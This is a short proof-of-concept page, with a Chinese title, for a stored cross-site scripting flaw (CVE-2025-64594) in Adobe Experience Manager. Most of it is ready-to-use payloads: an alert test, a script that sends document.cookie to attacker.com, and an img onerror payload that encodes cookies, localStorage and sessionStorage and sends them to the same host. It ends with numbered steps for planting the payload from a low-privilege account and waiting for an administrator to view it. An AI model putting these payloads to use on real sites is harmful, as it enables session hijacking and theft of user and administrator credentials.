CVE-2025-64594 Adobe Experience Manager存储型XSS漏洞

<!-- Stored XSS PoC for CVE-2025-64594 --> <!-- Inject this payload into vulnerable form fields in Adobe Experience Manager --> <!-- Basic XSS payload --> <img src=x onerror=alert(document.domain)> <!-- Cookie stealing payload --> <script> fetch('https://attacker.com/steal?cookie=' + document.cookie); </script> <!-- Session hijacking payload --> <img src=x onerror=" fetch('https://attacker.com/log?data=' + btoa(JSON.stringify({ cookie: document.cookie, localStorage: localStorage, sessionStorage: sessionStorage }))); "> <!-- Steps to exploit --> <!-- 1. Login to AEM with low-privilege account --> <!-- 2. Navigate to vulnerable form component --> <!-- 3. Insert XSS payload into form field --> <!-- 4. Save/submit the form --> <!-- 5. Wait for admin/user to view the page --> <!-- 6. XSS executes in victim's browser -->